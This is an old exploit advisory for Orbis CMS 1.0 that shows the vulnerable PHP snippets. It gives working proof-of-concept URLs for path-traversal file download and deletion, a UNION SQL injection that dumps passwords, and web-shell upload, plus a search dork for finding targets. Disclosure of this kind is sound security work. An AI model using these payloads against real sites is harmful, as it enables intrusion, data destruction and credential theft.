orbis cms 1.0 (afd/adf/asu/sql) Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Orbis CMS 1.0 Multiple Remote Vulnerabilities discovered by SirGod. code injection, arbitrary file and delete

                                                ################################################################################################################################################
[+] Orbis CMS 1.0 (AFD/ADF/ASU/SQL) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
################################################################################################################################################

[+] Dork : Powered by Orbis CMS

[+] Download script : http://www.novo-ws.com/orbis-cms/download.shtml

[+]&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; Arbitrary File
Download &#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;[+]

 - No login required.

 - Vulnerable code in fileman_file_download.php

-----------------------------------------------------------------------------------
header(&#39;Content-Type: application/force-download&#39;);
header(&#39;Content-Disposition: attachment; filename=&#34;&#39;.basename($_GET[&#39;fn&#39;]).&#39;&#34;&#39;);
readfile($_GET[&#39;fn&#39;]);
-----------------------------------------------------------------------------------

 - PoC&#39;s

    http://127.0.0.1/[path]/admin/fileman_file_download.php?fn=../../../../../../../boot.ini

    http://127.0.0.1/path/admin/fileman_file_download.php?fn=includes/config/db.php


[+]&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; Arbitrary Delete
File &#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;[+]

 - No login required.

 - Vulnerable code in fileman_file_delete.php

-----------------------------------------------------------------------------------------------
 $filename = $_GET[&#39;fn&#39;];

 unlink($filename) or die(&#34;Couldn&#39;t delete &#34;.$filename.&#34;. Please
contact your web designer.&#34;);
-----------------------------------------------------------------------------------------------

 - PoC

     http://127.0.0.1/[path]/admin/fileman_file_delete.php?fn=../uploads/example.jpg

[+]&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; SQL Injection
&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;[+]

 - Login required.

 - Code from editor.php

---------------------------------------------
&#60;?php require(&#34;includes/functions.php&#34;); ?&#62;
getSectionPage($_GET[&#39;s&#39;]);
----------------------------------- ----------

 - Vulnerable code in includes/functions.php

--------------------------------------------------------------------
function getSectionPage($id) {

 if(isset($id)) {
  require($_SESSION[&#39;inc_dir&#39;].&#34;config/db.php&#34;);
  $sc=mysql_query(&#39;SELECT * FROM content WHERE id=&#39;.$id.&#39;&#39;, $db);
--------------------------------------------------------------------

 - PoC

    http://127.0.0.1/[path]/admin/editor.php?s=null+union+all+select+1,2,3,4,5,concat_ws(0x3a,username,password)+from+security+where+user_id=1--&t=1


[+]&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; Arbitrary Shell
Upload &#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;[+]

 - Login required.


 1) Go to

      http://127.0.0.1/[path]/admin/fileman.php

 2) Select your shell and upload it

      shell.php

 3) You fill find your shell here

      http://127.0.0.1/[path]/uploads/shell.php

################################################################################################################################################

# milw0rm.com [2009-07-30]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1